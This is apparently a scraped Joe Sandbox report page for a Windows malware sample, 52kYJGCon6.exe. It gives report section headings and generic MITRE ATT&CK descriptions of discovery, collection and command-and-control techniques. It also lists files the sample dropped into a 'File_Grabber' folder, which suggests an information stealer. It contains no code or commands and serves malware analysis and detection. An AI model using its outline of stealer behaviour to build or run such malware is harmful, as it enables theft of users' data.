Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 52kYJGCon6.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Exploits

Compliance

Spreading

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\A35B7AD252242051504221\File_Grabber\0.1.filtertrie.intermediate.txt

C:\Users\user\AppData\Local\A35B7AD252242051504221\File_Grabber\0.2.filtertrie.intermediate.txt

C:\Users\user\AppData\Local\A35B7AD252242051504221\File_Grabber\1-7FeatureCache.txt

C:\Users\user\AppData\Local\A35B7AD252242051504221\File_Grabber\AlternateServices.txt

C:\Users\user\AppData\Local\A35B7AD252242051504221\File_Grabber\C__Windows_SystemApps_Microsoft.Windows.Search_cw5n1h2txyewy_cache_Desktop_8[1].txt

C:\Users\user\AppData\Local\A35B7AD252242051504221\File_Grabber\Latest.dat

C:\Users\user\AppData\Local\A35B7AD252242051504221\File_Grabber\LogFile_October_4_2023__16_5_0.txt

C:\Users\user\AppData\Local\A35B7AD252242051504221\File_Grabber\ProcessMAU[1].txt

C:\Users\user\AppData\Local\A35B7AD252242051504221\File_Grabber\SiteSecurityServiceState.txt

C:\Users\user\AppData\Local\A35B7AD252242051504221\File_Grabber\System_info.txt

C:\Users\user\AppData\Local\A35B7AD252242051504221\File_Grabber\VERSION.txt

Windows Analysis Report
52kYJGCon6.exe

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit remote services to gain unauthorized access to internal systems once inside of a network. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. A common goal for post-compromise exploitation of remote services is for lateral movement to enable access to a remote system.
Tactics:	Lateral Movement
Data Sources:	Application Log: Application Log Content, Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre